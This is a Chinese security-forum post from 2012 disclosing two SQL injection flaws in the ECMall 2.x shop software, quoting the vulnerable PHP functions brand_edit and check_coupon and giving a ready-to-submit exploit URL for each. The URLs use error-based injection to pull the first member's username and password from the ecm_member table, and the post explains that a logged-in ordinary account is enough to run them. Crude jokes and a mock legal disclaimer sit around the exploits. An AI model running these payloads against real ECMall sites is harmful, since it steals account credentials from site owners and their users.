ECMall 2.x 两枚注射

2012-06-23 06:14:12 34 5106 4
这程序放眼望去 各种白痴注入.... 这里随便发两个吧  顺便骂下电信  害的我现在下载速度只有几k 啥都干不了了 加载土司发帖页面都困难 我容易么我


Fuck one : \app\my_goods.app.php (2290行)
    function brand_edit()

    {

        $id = $_GET['id']; //程序员是2逼呢

        $brand = $this->_brand_mod->find('store_id = ' . $this->_store_id . ' AND if_show = ' . BRAND_REFUSE . ' AND brand_id = ' . $id); //是2逼呢 还是2逼呢?   By.Rices

        $brand = current($brand);

        if (empty($brand))

        {

            $this->show_warning("not_rights");

            exit;

        }

        if (!IS_POST)

        { // 省略 .......
Fuck one EXP 注册个会员-登录-提交以下即可
http://site/index.php?app=my_goods&act=brand_edit&id=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e27,%20ecm_member.user_name,0x27,0x7e,%20ecm_member.password,0x7e,0x27)%20from%20ecm_member%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)



Fuck two : \app\order.app.php (374行)
    function check_coupon()

    {

        $coupon_sn = $_GET['coupon_sn'];

        $store_id = $_GET['store_id']; //笑嘻嘻

        if (empty($coupon_sn))

        {

            $this->js_result(false);

        }

        $coupon_mod =& m('couponsn');

        $coupon = $coupon_mod->get(array(

            'fields' => 'coupon.*,couponsn.remain_times',

            'conditions' => "coupon_sn.coupon_sn = '{$coupon_sn}' AND coupon.store_id = " . $store_id, //射射射射射了 By.Rices

            'join'  => 'belongs_to_coupon'));

        //省略........
Fuck two EXP 注册个会员-登录-提交以下即可
http://site/index.php?app=order&act=check_coupon&coupon_sn=1&store_id=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,0x27,%20ecm_member.user_name,0x27,0x7e,%20ecm_member.password,0x7e,0x27)%20from%20ecm_member%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)


测试:



免跨省声明: 以上所有言语非本人所写 更非本人所想 如果用于非法更与本人无关!
类别 Web安全

关于作者

Rices154篇文章2133篇回复

Rices
34

评论34次

要评论？请先  登录  或  注册